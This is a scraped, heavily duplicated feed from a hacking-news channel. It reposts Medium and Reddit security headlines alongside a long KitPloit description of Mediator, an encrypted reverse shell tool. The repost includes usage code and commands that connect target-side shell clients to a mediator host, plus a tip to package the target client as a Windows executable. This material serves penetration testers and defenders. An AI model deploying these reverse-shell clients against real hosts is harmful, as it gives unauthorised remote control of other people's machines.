Finding my First Critical Web Cache Poisoning
Hey Fam! Hope you and your family are doing well amid this pandemic. This story is about the approach I took to find My 1st critical web…Continue reading on Medium »
Read more...
Hey Fam! Hope you and your family are doing well amid this pandemic. This story is about the approach I took to find My 1st critical web…Continue reading on Medium »
Read more...
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Colonial Pipeline Paid Roughly 75 Bitcoins in Ransom to Hackers to Save Fuel Lines
https://external-preview.redd.it/O0CKqD09SVgLGuDGNldwvDpICdknnMhE3cQo4GmAvKw.jpg?width=640&crop=smart&auto=webp&s=441a0940093268f5cb62347ddd02824a7a3fddc1 submitted by /u/standardworks
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Colonial Pipeline Paid Roughly 75 Bitcoins in Ransom to Hackers to Save Fuel Lines
https://external-preview.redd.it/O0CKqD09SVgLGuDGNldwvDpICdknnMhE3cQo4GmAvKw.jpg?width=640&crop=smart&auto=webp&s=441a0940093268f5cb62347ddd02824a7a3fddc1 submitted by /u/standardworks
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Colonial Pipeline Paid Roughly 75 Bitcoins in Ransom to Hackers to...
Posted in r/hacking by u/standardworks • 1 point and 0 comments
Finding my First Critical Web Cache Poisoning
https://n3t-hunt3r.medium.com/finding-my-first-critical-web-cache-poisoning-6f956799371c?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
https://n3t-hunt3r.medium.com/finding-my-first-critical-web-cache-poisoning-6f956799371c?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
Medium
Finding my First Critical Web Cache Poisoning
Hey Fam! Hope you and your family are doing well amid this pandemic. This story is about the approach I took to find My 1st critical web…
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
SSI — Server Side Include Injection
https://cdn-images-1.medium.com/max/860/1*xpnRFWyXHK6AeHbl9bjO_w.png
Let us say , we have a web application containing multiple pages , each requires a change in the specific content (like may be name of…
Continue reading on Medium »
SSI — Server Side Include Injection
https://cdn-images-1.medium.com/max/860/1*xpnRFWyXHK6AeHbl9bjO_w.png
Let us say , we have a web application containing multiple pages , each requires a change in the specific content (like may be name of…
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Writing your own hacking tool [PART 1]
https://cdn-images-1.medium.com/max/763/1*hOBUmxO3h8Njjh7Opk8vMw.png
The most efficient way of finding security vulnerabilities
Continue reading on Medium »
Writing your own hacking tool [PART 1]
https://cdn-images-1.medium.com/max/763/1*hOBUmxO3h8Njjh7Opk8vMw.png
The most efficient way of finding security vulnerabilities
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
KitPloit - PenTest Tools!
Mediator - An Extensible, End-To-End Encrypted Reverse Shell With A Novel Approach To Its Architecture
https://1.bp.blogspot.com/-zBH4shaf3ms/YKNPLT3gBTI/AAAAAAAAWMg/hFTmF0kY8UkNDR09YNHZpF39roaaTvwfgCNcBGAsYHQ/w640-h156/mediator_1_mediator.png Mediator is an end-to-end encrypted reverse shell in which the operator and the shell connect to a "mediator" server that bridges the connections. This removes the need for the operator/handler to set up port forwarding in order to listen for the connection. Mediator also allows you to create plugins to expand the functionality of the reverse shell.
You can run Mediator's scripts as standalone executables or you can import them for integration into other pentesting and incident response tools. Architecture:Inspired by end-to-end encrypted chat applications, Mediator takes a unique approach to the client/server model of a reverse shell. Mediator uses:
1. A client reverse shell
2. A client handler/operator
3. A server that bridges the two connections
Reverse shells and handlers connect to the Mediator server with a connection key. The server listens on port 80 for handler connections and port 443 for reverse shell connections. When clients connect to the mediator, the server queues the clients according to their respective type and connection key. When both a reverse shell and an operator connect to the server with the same key, the server will bridge the two connections. From there, a key exchange is done between the two clients, and all communication between the reverse shell and operator is encrypted end-to-end. This ensures the server cannot snoop on the streams it is piping. PluginsPlugins allow you to add extra commands that can execute code on the operator's host, the target host, or both! Please refer to the README in the plugins directory for more information about plugins. Instructions:ServerThe client scripts can be run on Windows or Linux, but you'll need to stand up the server (mediator.py) on a Linux host. The server is pure Python, so no dependencies need to be installed. You can either run the server script with
The handler and the reverse shell can be used within other Python scripts or directly via the command line. In both cases, the clients can accept arguments for the server address and connection key. Usage of those arguments is described below.
Mediator server address
For Python script usage, the address of the mediator host is required upon instantiation:
Handler class
handler.py
When two handlers or two reverse shells connect to the mediator server with the same connection key, only the first connection is queued awaiting its match. Until the queued connection either times out (30 seconds) or matches with a counterpart connectio[...]
Mediator - An Extensible, End-To-End Encrypted Reverse Shell With A Novel Approach To Its Architecture
https://1.bp.blogspot.com/-zBH4shaf3ms/YKNPLT3gBTI/AAAAAAAAWMg/hFTmF0kY8UkNDR09YNHZpF39roaaTvwfgCNcBGAsYHQ/w640-h156/mediator_1_mediator.png Mediator is an end-to-end encrypted reverse shell in which the operator and the shell connect to a "mediator" server that bridges the connections. This removes the need for the operator/handler to set up port forwarding in order to listen for the connection. Mediator also allows you to create plugins to expand the functionality of the reverse shell.
You can run Mediator's scripts as standalone executables or you can import them for integration into other pentesting and incident response tools. Architecture:Inspired by end-to-end encrypted chat applications, Mediator takes a unique approach to the client/server model of a reverse shell. Mediator uses:
1. A client reverse shell
2. A client handler/operator
3. A server that bridges the two connections
Reverse shells and handlers connect to the Mediator server with a connection key. The server listens on port 80 for handler connections and port 443 for reverse shell connections. When clients connect to the mediator, the server queues the clients according to their respective type and connection key. When both a reverse shell and an operator connect to the server with the same key, the server will bridge the two connections. From there, a key exchange is done between the two clients, and all communication between the reverse shell and operator is encrypted end-to-end. This ensures the server cannot snoop on the streams it is piping. PluginsPlugins allow you to add extra commands that can execute code on the operator's host, the target host, or both! Please refer to the README in the plugins directory for more information about plugins. Instructions:ServerThe client scripts can be run on Windows or Linux, but you'll need to stand up the server (mediator.py) on a Linux host. The server is pure Python, so no dependencies need to be installed. You can either run the server script with
$ python3 mediator.pyor you can build a Docker image with the provided Dockerfile and run it in a container (make sure to publish ports 80 and 443). ClientsYou will need to install the dependencies found in requirements.txt) for the clients to work. You can do this with the following command: $ pip3 install -r requirements.txtSee Tips and Reminders at the bottom for help on distributing the clients without worrying about dependencies.The handler and the reverse shell can be used within other Python scripts or directly via the command line. In both cases, the clients can accept arguments for the server address and connection key. Usage of those arguments is described below.
Mediator server address
For Python script usage, the address of the mediator host is required upon instantiation:
Handler class
from handler import Handler
operator = Handler(mediatorHost="example.com")
operator.run()WindowsRShell class from windowsTarget import WindowsRShell
shell = WindowsRShell(mediatorHost="example.com")
shell.run()If executing a client script directly from a shell, you can either hard code the address at the bottom of the script, or the server address can be specified as an argument with the -sor --serverflag:handler.py
$ python3 handler.py -s example.comwindowsTarget.py > python windowsTarget.py -s example.comConnection keyWhen two handlers or two reverse shells connect to the mediator server with the same connection key, only the first connection is queued awaiting its match. Until the queued connection either times out (30 seconds) or matches with a counterpart connectio[...]
Hacking Articles Tips Tricks Videos Tutorials
KitPloit - PenTest Tools! Mediator - An Extensible, End-To-End Encrypted Reverse Shell With A Novel Approach To Its Architecture https://1.bp.blogspot.com/-zBH4shaf3ms/YKNPLT3gBTI/AAAAAAAAWMg/hFTmF0kY8UkNDR09YNHZpF39roaaTvwfgCNcBGAsYHQ/w640-h156/mediator_1_mediator.png…
n, all other clients of the same type trying to connect with the same connection key will be dropped.
It is important to make sure each handler is using a unique connection key to avoid a race condition resulting in the wrong shell being given to an operator.
Only keys with the prefix "#!ConnectionKey_" will be accepted by the server. The default connection key is "#!ConnectionKey_CHANGE_ME!!!".
To change the connection key for Python script usage, the connection key can optionally be supplied upon instantiation:
Handler class
handler.py
* TIP: You can easily create an exe for windowsTarget.py with pyinstaller using the
* TIP: For security, you should use a randomly generated connection key for each session. If a malicious party learns your connection key and spams the operator port with it, your operator client will be unable to connect due to the server not allowing duplicate connnections, and they will be connected to your target's shell. Download Mediator
It is important to make sure each handler is using a unique connection key to avoid a race condition resulting in the wrong shell being given to an operator.
Only keys with the prefix "#!ConnectionKey_" will be accepted by the server. The default connection key is "#!ConnectionKey_CHANGE_ME!!!".
To change the connection key for Python script usage, the connection key can optionally be supplied upon instantiation:
Handler class
from handler import Handler
operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
operator.run()LinuxRShell class from linuxTarget import LinuxRShell
shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run()If executing a client script directly from a shell, you can either hard code the connection key at the bottom of the script, or the connection key can be specified as an argument with the -cor --connection-keyflag:handler.py
$ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key'windowsTarget.py > python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'Tips and Reminders:* REMINDER: handlers and reverse shells will not be bridged together unless they connect to the mediator server using the same connection key within 30 seconds of each other.* TIP: You can easily create an exe for windowsTarget.py with pyinstaller using the
--onefileflag* TIP: For security, you should use a randomly generated connection key for each session. If a malicious party learns your connection key and spams the operator port with it, your operator client will be unable to connect due to the server not allowing duplicate connnections, and they will be connected to your target's shell. Download Mediator
Mediator - An Extensible, End-To-End Encrypted Reverse Shell With A Novel Approach To Its Architecture
http://www.kitploit.com/2021/05/mediator-extensible-end-to-end.html
___________________________
@hacking_Attack
@Hacking_Video
http://www.kitploit.com/2021/05/mediator-extensible-end-to-end.html
___________________________
@hacking_Attack
@Hacking_Video
KitPloit - PenTest & Hacking Tools
Mediator - An Extensible, End-To-End Encrypted Reverse Shell With A Novel Approach To Its Architecture
Architecture:
Inspired by end-to-end encrypted chat applications, Mediator takes a unique approach to the client/server model of a reverse shell. Mediator uses: A client reverse shell A client handler/operator A server that bridges the two connections Reverse shells and handlers connect to the Mediator server with a connection key. The server listens on port 80 for handler connections and port 443 for reverse shell connections. When clients connect to the mediator, the server queues the clients according to their respective type and connection key. When both a reverse shell and an operator connect to the server with the same key, the server will bridge the two connections. From there, a key exchange is done between the two clients, and all communication between the reverse shell and operator is encrypted end-to-end. This ensures the server cannot snoop on the streams it is piping.
Plugins
Plugins allow you to add extra commands that can execute code on the operator's host, the target host, or both! Please refer to the README in the plugins directory for more information about plugins.
Instructions:
Server
The client scripts can be run on Windows or Linux, but you'll need to stand up the server (mediator.py (https://github.com/doctormay6/mediator/blob/main/mediator.py)) on a Linux host. The server is pure Python, so no dependencies need to be installed. You can either run the server script with $ python3 mediator.py or you can build a Docker image with the provided Dockerfile (https://github.com/doctormay6/mediator/blob/main/Dockerfile) and run it in a container (https://www.kitploit.com/search/label/Container) (make sure to publish ports 80 and 443).
Clients
You will need to install the dependencies found in requirements.txt (https://github.com/doctormay6/mediator/blob/main/requirements.txt)) for the clients to work. You can do this with the following command: $ pip3 install -r requirements.txt See Tips and Reminders at the bottom for help on distributing the clients without worrying about dependencies. The handler and the reverse shell can be used within other Python scripts or directly via the command line. In both cases, the clients can accept arguments for the server address and connection key. Usage of those arguments is described below. Mediator server address For Python script usage, the address of the mediator host is required upon instantiation: Handler class from handler import Handler
operator = Handler(mediatorHost="example.com")
operator.run() WindowsRShell class from windowsTarget import WindowsRShell
shell = WindowsRShell(mediatorHost="example.com")
shell.run() If executing a client script directly from a shell, you can either hard code the address at the bottom of the script, or the server address can be specified as an argument with the -s or --server flag: handler.py $ python3 handler.py -s example.com windowsTarget.py > python windowsTarget.py -s example.com Connection key When two handlers or two reverse shells (https://www.kitploit.com/search/label/Reverse%20Shells) connect to the mediator server with the same connection key, only the first connection is queued awaiting its match. Until the queued connection either times out (30 seconds) or matches with a counterpart connection, all other clients of the same type trying to connect with the same connection key will be dropped. It is important to make sure each handler is using a unique connection key to avoid a race condition resulting in the wrong shell being given to an operator. Only keys with the prefix "#!ConnectionKey_" will be accepted by the server. The default connection key is "#!ConnectionKey_CHANGE_ME!!!". To change the connection key for Python script usage, the connection key can optionally be supplied upon instantiation: Handler class from handler import Handler
operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
___________________________
@hacking_Attack
@Hacking_Video
Inspired by end-to-end encrypted chat applications, Mediator takes a unique approach to the client/server model of a reverse shell. Mediator uses: A client reverse shell A client handler/operator A server that bridges the two connections Reverse shells and handlers connect to the Mediator server with a connection key. The server listens on port 80 for handler connections and port 443 for reverse shell connections. When clients connect to the mediator, the server queues the clients according to their respective type and connection key. When both a reverse shell and an operator connect to the server with the same key, the server will bridge the two connections. From there, a key exchange is done between the two clients, and all communication between the reverse shell and operator is encrypted end-to-end. This ensures the server cannot snoop on the streams it is piping.
Plugins
Plugins allow you to add extra commands that can execute code on the operator's host, the target host, or both! Please refer to the README in the plugins directory for more information about plugins.
Instructions:
Server
The client scripts can be run on Windows or Linux, but you'll need to stand up the server (mediator.py (https://github.com/doctormay6/mediator/blob/main/mediator.py)) on a Linux host. The server is pure Python, so no dependencies need to be installed. You can either run the server script with $ python3 mediator.py or you can build a Docker image with the provided Dockerfile (https://github.com/doctormay6/mediator/blob/main/Dockerfile) and run it in a container (https://www.kitploit.com/search/label/Container) (make sure to publish ports 80 and 443).
Clients
You will need to install the dependencies found in requirements.txt (https://github.com/doctormay6/mediator/blob/main/requirements.txt)) for the clients to work. You can do this with the following command: $ pip3 install -r requirements.txt See Tips and Reminders at the bottom for help on distributing the clients without worrying about dependencies. The handler and the reverse shell can be used within other Python scripts or directly via the command line. In both cases, the clients can accept arguments for the server address and connection key. Usage of those arguments is described below. Mediator server address For Python script usage, the address of the mediator host is required upon instantiation: Handler class from handler import Handler
operator = Handler(mediatorHost="example.com")
operator.run() WindowsRShell class from windowsTarget import WindowsRShell
shell = WindowsRShell(mediatorHost="example.com")
shell.run() If executing a client script directly from a shell, you can either hard code the address at the bottom of the script, or the server address can be specified as an argument with the -s or --server flag: handler.py $ python3 handler.py -s example.com windowsTarget.py > python windowsTarget.py -s example.com Connection key When two handlers or two reverse shells (https://www.kitploit.com/search/label/Reverse%20Shells) connect to the mediator server with the same connection key, only the first connection is queued awaiting its match. Until the queued connection either times out (30 seconds) or matches with a counterpart connection, all other clients of the same type trying to connect with the same connection key will be dropped. It is important to make sure each handler is using a unique connection key to avoid a race condition resulting in the wrong shell being given to an operator. Only keys with the prefix "#!ConnectionKey_" will be accepted by the server. The default connection key is "#!ConnectionKey_CHANGE_ME!!!". To change the connection key for Python script usage, the connection key can optionally be supplied upon instantiation: Handler class from handler import Handler
operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
___________________________
@hacking_Attack
@Hacking_Video
GitHub
doctormay6/mediator
An extensible, end-to-end encrypted reverse shell with a novel approach to its architecture - doctormay6/mediator
operator.run() LinuxRShell class from linuxTarget import LinuxRShell
shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run() If executing a client script directly from a shell, you can either hard code the connection key at the bottom of the script, or the connection key can be specified as an argument with the -c or --connection-key flag: handler.py $ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key' windowsTarget.py > python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'
Tips and Reminders:
REMINDER: handlers and reverse shells will not be bridged together unless they connect to the mediator server using the same connection key within 30 seconds of each other. TIP: You can easily create an exe for windowsTarget.py with pyinstaller using the --onefile flag TIP: For security, you should use a randomly generated connection key for each session. If a malicious party learns your connection key and spams the operator port with it, your operator client will be unable to connect due to the server not allowing duplicate connnections, and they will be connected to your target's shell.
Download Mediator (https://github.com/doctormay6/mediator)
___________________________
@hacking_Attack
@Hacking_Video
shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run() If executing a client script directly from a shell, you can either hard code the connection key at the bottom of the script, or the connection key can be specified as an argument with the -c or --connection-key flag: handler.py $ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key' windowsTarget.py > python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'
Tips and Reminders:
REMINDER: handlers and reverse shells will not be bridged together unless they connect to the mediator server using the same connection key within 30 seconds of each other. TIP: You can easily create an exe for windowsTarget.py with pyinstaller using the --onefile flag TIP: For security, you should use a randomly generated connection key for each session. If a malicious party learns your connection key and spams the operator port with it, your operator client will be unable to connect due to the server not allowing duplicate connnections, and they will be connected to your target's shell.
Download Mediator (https://github.com/doctormay6/mediator)
___________________________
@hacking_Attack
@Hacking_Video
GitHub
doctormay6/mediator
An extensible, end-to-end encrypted reverse shell with a novel approach to its architecture - doctormay6/mediator
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Ransomware’s Dangerous New Trick Is Double-Encrypting Your Data
"Ransomware’s Dangerous New Trick Is Double-Encrypting Your Data | WIRED" https://www.wired.com/story/ransomware-double-encryption/
submitted by /u/fatrat957
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Ransomware’s Dangerous New Trick Is Double-Encrypting Your Data
"Ransomware’s Dangerous New Trick Is Double-Encrypting Your Data | WIRED" https://www.wired.com/story/ransomware-double-encryption/
submitted by /u/fatrat957
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Ransomware’s Dangerous New Trick Is Double-Encrypting Your Data
"Ransomware’s Dangerous New Trick Is Double-Encrypting Your Data | WIRED" https://www.wired.com/story/ransomware-double-encryption/
hacking: security in practice
Sql injection
Hi everyone, Where can i find a good guide to sql injections?
submitted by /u/crazymenpk
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Sql injection
Hi everyone, Where can i find a good guide to sql injections?
submitted by /u/crazymenpk
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Sql injection
Hi everyone, Where can i find a good guide to sql injections?
hacking: security in practice
Advice for TV show: Hacking hardware
Hello,
I was hoping to get some advice on what hardware one might use when wanting to untraceably hack internationally. I'm aware software is probably key, but I'm only really concerned with visuals, as it's for screen. What would be a realistic and believable set up that would make audiences aware that the character is a hacker? What might that look like, reference pictures would be amazing.
Thanks so much, apologies if I sounds completely ignorant.
submitted by /u/chaznik
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Advice for TV show: Hacking hardware
Hello,
I was hoping to get some advice on what hardware one might use when wanting to untraceably hack internationally. I'm aware software is probably key, but I'm only really concerned with visuals, as it's for screen. What would be a realistic and believable set up that would make audiences aware that the character is a hacker? What might that look like, reference pictures would be amazing.
Thanks so much, apologies if I sounds completely ignorant.
submitted by /u/chaznik
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Advice for TV show: Hacking hardware
Hello, I was hoping to get some advice on what hardware one might use when wanting to untraceably hack internationally. I'm aware software is...